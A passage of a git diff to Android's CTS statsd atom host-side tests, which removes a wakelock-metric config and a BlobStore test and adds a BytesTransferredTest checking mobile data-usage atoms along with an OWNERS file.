- int screenTurnedOnId = screenTurnedOnName.hashCode();
- String screenTurnedOffName = "SCREEN_TURNED_OFF";
- int screenTurnedOffId = screenTurnedOffName.hashCode();
-
- String screenIsOffName = "SCREEN_IS_OFF";
- int screenIsOffId = screenIsOffName.hashCode();
-
- String pluggedStateBatteryPluggedNoneName = "PLUGGED_STATE_BATTERY_PLUGGED_NONE";
- int pluggedStateBatteryPluggedNoneId = pluggedStateBatteryPluggedNoneName.hashCode();
- String pluggedStateBatteryPluggedAcName = "PLUGGED_STATE_BATTERY_PLUGGED_AC";
- int pluggedStateBatteryPluggedAcId = pluggedStateBatteryPluggedAcName.hashCode();
- String pluggedStateBatteryPluggedUsbName = "PLUGGED_STATE_BATTERY_PLUGGED_USB";
- int pluggedStateBatteryPluggedUsbId = pluggedStateBatteryPluggedUsbName.hashCode();
- String pluggedStateBatteryPluggedWlName = "PLUGGED_STATE_BATTERY_PLUGGED_WIRELESS";
- int pluggedStateBatteryPluggedWirelessId = pluggedStateBatteryPluggedWlName.hashCode();
-
- String pluggedStateBatteryPluggedName = "PLUGGED_STATE_BATTERY_PLUGGED";
- int pluggedStateBatteryPluggedId = pluggedStateBatteryPluggedName.hashCode();
-
- String deviceIsUnpluggedName = "DEVICE_IS_UNPLUGGED";
- int deviceIsUnpluggedId = deviceIsUnpluggedName.hashCode();
-
-
- FieldMatcher.Builder dimensions = FieldMatcher.newBuilder()
- .setField(atomTag)
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.TAG_FIELD_NUMBER))
- .addChild(FieldMatcher.newBuilder()
- .setField(1)
- .setPosition(Position.FIRST)
- .addChild(FieldMatcher.newBuilder()
- .setField(1)));
-
- AtomMatcher.Builder wakelockAcquire = AtomMatcher.newBuilder()
- .setId(partialWakelockAcquireId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.ACQUIRE_VALUE)));
-
- AtomMatcher.Builder wakelockChangeAcquire = AtomMatcher.newBuilder()
- .setId(partialWakelockChangeAcquireId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)));
-
- AtomMatcher.Builder wakelockRelease = AtomMatcher.newBuilder()
- .setId(partialWakelockReleaseId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.RELEASE_VALUE)));
-
- AtomMatcher.Builder wakelockChangeRelease = AtomMatcher.newBuilder()
- .setId(partialWakelockChangeReleaseId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomTag)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)));
-
- AtomMatcher.Builder wakelockOn = AtomMatcher.newBuilder()
- .setId(partialWakelockOnId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(partialWakelockAcquireId)
- .addMatcher(partialWakelockChangeAcquireId));
-
- AtomMatcher.Builder wakelockOff = AtomMatcher.newBuilder()
- .setId(partialWakelockOffId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(partialWakelockReleaseId)
- .addMatcher(partialWakelockChangeReleaseId));
-
-
- Predicate.Builder wakelockPredicate = Predicate.newBuilder()
- .setId(partialWakelockIsOnId)
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(partialWakelockOnId)
- .setStop(partialWakelockOffId)
- .setCountNesting(true)
- .setDimensions(dimensions));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedNone = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedNoneId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedAc = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedAcId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedUsb = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedUsbId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPluggedWireless = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedWirelessId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE)));
-
- AtomMatcher.Builder pluggedStateBatteryPlugged = AtomMatcher.newBuilder()
- .setId(pluggedStateBatteryPluggedId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(pluggedStateBatteryPluggedAcId)
- .addMatcher(pluggedStateBatteryPluggedUsbId)
- .addMatcher(pluggedStateBatteryPluggedWirelessId));
-
- Predicate.Builder deviceIsUnplugged = Predicate.newBuilder()
- .setId(deviceIsUnpluggedId)
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(pluggedStateBatteryPluggedNoneId)
- .setStop(pluggedStateBatteryPluggedId)
- .setCountNesting(false));
-
- AtomMatcher.Builder screenStateUnknown = AtomMatcher.newBuilder()
- .setId(screenStateUnknownId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE)));
-
- AtomMatcher.Builder screenStateOff = AtomMatcher.newBuilder()
- .setId(screenStateOffId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE)));
-
- AtomMatcher.Builder screenStateOn = AtomMatcher.newBuilder()
- .setId(screenStateOnId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_VALUE)));
-
- AtomMatcher.Builder screenStateDoze = AtomMatcher.newBuilder()
- .setId(screenStateDozeId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE)));
-
- AtomMatcher.Builder screenStateDozeSuspend = AtomMatcher.newBuilder()
- .setId(screenStateDozeSuspendId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE)));
-
- AtomMatcher.Builder screenStateVr = AtomMatcher.newBuilder()
- .setId(screenStateVrId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_VR_VALUE)));
-
- AtomMatcher.Builder screenStateOnSuspend = AtomMatcher.newBuilder()
- .setId(screenStateOnSuspendId)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
- .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE)));
-
-
- AtomMatcher.Builder screenTurnedOff = AtomMatcher.newBuilder()
- .setId(screenTurnedOffId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(screenStateOffId)
- .addMatcher(screenStateDozeId)
- .addMatcher(screenStateDozeSuspendId)
- .addMatcher(screenStateUnknownId));
-
- AtomMatcher.Builder screenTurnedOn = AtomMatcher.newBuilder()
- .setId(screenTurnedOnId)
- .setCombination(AtomMatcher.Combination.newBuilder()
- .setOperation(LogicalOperation.OR)
- .addMatcher(screenStateOnId)
- .addMatcher(screenStateOnSuspendId)
- .addMatcher(screenStateVrId));
-
- Predicate.Builder screenIsOff = Predicate.newBuilder()
- .setId(screenIsOffId)
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(screenTurnedOffId)
- .setStop(screenTurnedOnId)
- .setCountNesting(false));
-
-
- Predicate.Builder screenOffBatteryOn = Predicate.newBuilder()
- .setId(screenOffBatteryOnId)
- .setCombination(Predicate.Combination.newBuilder()
- .setOperation(LogicalOperation.AND)
- .addPredicate(screenIsOffId)
- .addPredicate(deviceIsUnpluggedId));
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addDurationMetric(DurationMetric.newBuilder()
- .setId(metricId)
- .setWhat(partialWakelockIsOnId)
- .setCondition(screenOffBatteryOnId)
- .setDimensionsInWhat(dimensions)
- .setBucket(bucketsize))
- .addAtomMatcher(wakelockAcquire)
- .addAtomMatcher(wakelockChangeAcquire)
- .addAtomMatcher(wakelockRelease)
- .addAtomMatcher(wakelockChangeRelease)
- .addAtomMatcher(wakelockOn)
- .addAtomMatcher(wakelockOff)
- .addAtomMatcher(pluggedStateBatteryPluggedNone)
- .addAtomMatcher(pluggedStateBatteryPluggedAc)
- .addAtomMatcher(pluggedStateBatteryPluggedUsb)
- .addAtomMatcher(pluggedStateBatteryPluggedWireless)
- .addAtomMatcher(pluggedStateBatteryPlugged)
- .addAtomMatcher(screenStateUnknown)
- .addAtomMatcher(screenStateOff)
- .addAtomMatcher(screenStateOn)
- .addAtomMatcher(screenStateDoze)
- .addAtomMatcher(screenStateDozeSuspend)
- .addAtomMatcher(screenStateVr)
- .addAtomMatcher(screenStateOnSuspend)
- .addAtomMatcher(screenTurnedOff)
- .addAtomMatcher(screenTurnedOn)
- .addPredicate(wakelockPredicate)
- .addPredicate(deviceIsUnplugged)
- .addPredicate(screenIsOff)
- .addPredicate(screenOffBatteryOn);
-
- uploadConfig(builder);
- }
-}
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index f7a9cd1..4e6f943 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -28,6 +28,7 @@
"src/**/jobscheduler/*.java",
"src/**/integrity/*.java",
"src/**/memory/*.java",
+ "src/**/net/*.java",
"src/**/notification/*.java",
"src/**/permissionstate/*.java",
"src/**/settingsstats/*.java",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
index fd9089a..032bf80 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -48,7 +48,6 @@
"androidx.legacy_legacy-support-v4",
"androidx.test.rules",
"cts-net-utils",
- "BlobStoreTestUtils"
],
jni_libs: ["liblmkhelper_statsdatom"],
compile_multilib: "both",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 4b47a81..4b1c836 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -27,7 +27,6 @@
import android.app.AlarmManager;
import android.app.AppOpsManager;
import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
import android.app.job.JobInfo;
import android.app.job.JobScheduler;
import android.bluetooth.BluetoothAdapter;
@@ -79,9 +78,6 @@
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.FakeBlobData;
-
-import com.google.common.io.BaseEncoding;
import org.junit.Test;
@@ -90,7 +86,6 @@
import java.util.Arrays;
import java.util.List;
import java.util.Map;
-import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.function.BiConsumer;
@@ -207,6 +202,7 @@
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_CREDENTIALS, 104);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, 105);
}
@Test
@@ -803,7 +799,7 @@
BroadcastReceiver receiver =
registerReceiver(context, onReceiveLatch, new IntentFilter(name));
AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
- PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
+ PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), PendingIntent.FLAG_IMMUTABLE);
manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
SystemClock.elapsedRealtime() + 2_000, pintent);
waitForReceiver(context, 10_000, onReceiveLatch, receiver);
@@ -974,41 +970,6 @@
}
}
- // Constants for testBlobStore
- private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
- private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
- private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
- private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
- private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
- "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
- @Test
- public void testBlobStore() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
- BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
- final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
- final FakeBlobData blobData = new FakeBlobData.Builder(context).setExpiryDurationMs(
- BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
- blobData.prepare();
- try {
- // Commit the Blob, should result in BLOB_COMMITTED atom event
- commitBlob(context, bsm, blobData);
-
- // Lease the Blob, should result in BLOB_LEASED atom event
- bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
- // Open the Blob, should result in BLOB_OPENED atom event
- bsm.openBlob(blobData.getBlobHandle());
-
- } finally {
- blobData.delete();
- }
- }
-
// ------- Helper methods
/** Puts the current thread to sleep. */
@@ -1066,21 +1027,6 @@
runShellCommand("settings put system screen_brightness " + brightness);
}
-
- private void commitBlob(Context context, BlobStoreManager bsm, FakeBlobData blobData)
- throws Exception {;
- final long sessionId = bsm.createSession(blobData.getBlobHandle());
- try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
- blobData.writeToSession(session);
- session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
- final CompletableFuture<Integer> callback = new CompletableFuture<>();
- session.commit(context.getMainExecutor(), callback::complete);
- assertWithMessage("Session failed to commit within timeout").that(
- callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
- }
- }
-
private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
public void wifiDisconnect(Context context) throws Exception {
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
new file mode 100644
index 0000000..8e4ca4d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.net;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BytesTransferredTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+
+ private IBuildInfo mCtsBuild;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ assertThat(mCtsBuild).isNotNull();
+ // Put a delay to give statsd enough time to remove previous configs and
+ // reports, as well as install the test app.
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.installTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_APK,
+ DeviceUtils.STATSD_ATOM_TEST_PKG, mCtsBuild);
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.uninstallTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+ super.tearDown();
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ // TODO: inline the contents of doTestUsageBytesTransferEnable
+ public void testDataUsageBytesTransfer() throws Throwable {
+ final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+
+ doTestDataUsageBytesTransferEnabled(true);
+
+ // Remove old configs from disk and clear any pending statsd reports to clear history.
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+
+ doTestDataUsageBytesTransferEnabled(false);
+
+ // Restore to original default value.
+ setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
+ }
+
+ public void testMobileBytesTransfer() throws Throwable {
+ // Tests MobileBytesTransfer, passing a ThrowingPredicate that returns TransferredBytes,
+ doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/true,
+ (atom) -> {
+ final AtomsProto.MobileBytesTransfer data = atom.getMobileBytesTransfer();
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), data.getUid());
+ }
+ );
+ }
+
+ public void testMobileBytesTransferByFgBg() throws Throwable {
+
+ doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER,
+ /*isUidAtom=*/true,
+ (atom) -> {
+ final AtomsProto.MobileBytesTransferByFgBg data =
+ atom.getMobileBytesTransferByFgBg();
+ if (!data.getIsForeground()) {
+ return null;
+ }
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), data.getUid());
+ }
+ );
+ }
+
+ // TODO(b/157651730): Determine how to test tag and metered state within atom.
+ public void testBytesTransferByTagAndMetered() throws Throwable {
+ doTestMobileBytesTransferThat(Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER,
+ /*isUidAtom=*/true,
+ (atom) -> {
+ final AtomsProto.BytesTransferByTagAndMetered data =
+ atom.getBytesTransferByTagAndMetered();
+ if (data.getTag() != 0 /*app traffic not generated on tag 0*/) {
+ return null;
+ }
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), data.getUid());
+ }
+ );
+ }
+
+ private static class TransferredBytes {
+ final long mRxBytes;
+ final long mTxBytes;
+ final long mRxPackets;
+ final long mTxPackets;
+ final long mAppUid;
+
+ public TransferredBytes(
+ long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid) {
+ mRxBytes = rxBytes;
+ mTxBytes = txBytes;
+ mRxPackets = rxPackets;
+ mTxPackets = txPackets;
+ mAppUid = appUid;
+ }
+ }
+
+ @FunctionalInterface
+ private interface ThrowingPredicate<S, T extends Throwable> {
+ TransferredBytes accept(S s) throws T;
+ }
+
+ private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
+ // Set value to enable/disable combine subtype.
+ setNetworkStatsCombinedSubTypeEnabled(enable);
+
+ doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
+ false, (atom) -> {
+ final AtomsProto.DataUsageBytesTransfer data =
+ atom.getDataUsageBytesTransfer();
+ final boolean ratTypeEqualsToUnknown =
+ (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+ final boolean ratTypeGreaterThanUnknown =
+ (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+
+ if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
+ && ((enable && ratTypeEqualsToUnknown)
+ || (!enable && ratTypeGreaterThanUnknown))) {
+ // Assert that subscription info is valid.
+ assertSubscriptionInfo(data);
+ // DataUsageBytesTransferred atom does not report app uid.
+ return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+ data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
+ }
+ return null;
+ });
+ }
+
+ private void doTestMobileBytesTransferThat(int atomId, boolean isUidAtom,
+ ThrowingPredicate<Atom, Exception> p)
+ throws Throwable {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) return;
+ // Upload the config.
+ final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+ DeviceUtils.STATSD_ATOM_TEST_PKG);
+ if (isUidAtom) {
+ ConfigUtils.addGaugeMetricForUidAtom(config, atomId, /*uidInAttributionChain=*/false,
+ DeviceUtils.STATSD_ATOM_TEST_PKG);
+ } else {
+ ConfigUtils.addGaugeMetric(config, atomId);
+ }
+ ConfigUtils.uploadConfig(getDevice(), config);
+ // Generate some mobile traffic.
+ DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+ "testGenerateMobileTraffic");
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ // Force poll NetworkStatsService to get most updated network stats from lower layer.
+ DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ "PollNetworkStatsActivity",
+ /*actionKey=*/null, /*actionValue=*/null);
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ // Trigger atom pull.
+ AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+ Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+ final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
+ /*checkTimestampTruncated=*/true);
+ assertThat(atoms.size()).isAtLeast(1);
+ boolean foundAppStats = false;
+ for (final Atom atom : atoms) {
+ TransferredBytes transferredBytes = p.accept(atom);
+ if (transferredBytes != null) {
+ foundAppStats = true;
+ // Checks that the uid in the atom corresponds to the app uid and checks that the
+ // bytes and packet data are as expected.
+ if (isUidAtom) {
+ final int appUid = DeviceUtils.getAppUid(getDevice(),
+ DeviceUtils.STATSD_ATOM_TEST_PKG);
+ assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
+ }
+ assertDataUsageAtomDataExpected(
+ transferredBytes.mRxBytes, transferredBytes.mTxBytes,
+ transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+ }
+ }
+ assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
+ DeviceUtils.STATSD_ATOM_TEST_PKG)
+ + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
+ }
+
+ private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
+ assertThat(rxb).isGreaterThan(0L);
+ assertThat(txb).isGreaterThan(0L);
+ assertThat(rxp).isGreaterThan(0L);
+ assertThat(txp).isGreaterThan(0L);
+ }
+
+ private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
+ assertThat(data.getSimMcc()).matches("^\\d{3}$");
+ assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+ assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
+ }
+
+ private boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+ final String output = getDevice().executeShellCommand(
+ "settings get global netstats_combine_subtype_enabled").trim();
+ return output.equals("1");
+ }
+
+ private void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+ getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+ + (enable ? "1" : "0"));
+ }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
new file mode 100644
index 0000000..f78f90b
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
@@ -0,0 +1,12 @@
+# These atom tests are co-owned by statsd and network team
+jchalard@google.com
+jeffreyhuang@google.com
+jtnguyen@google.com
+junyulai@google.com
+lorenzo@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+sudheersai@google.com
+tsaichristine@google.com
+yro@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
new file mode 100644
index 0000000..8b1c35d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
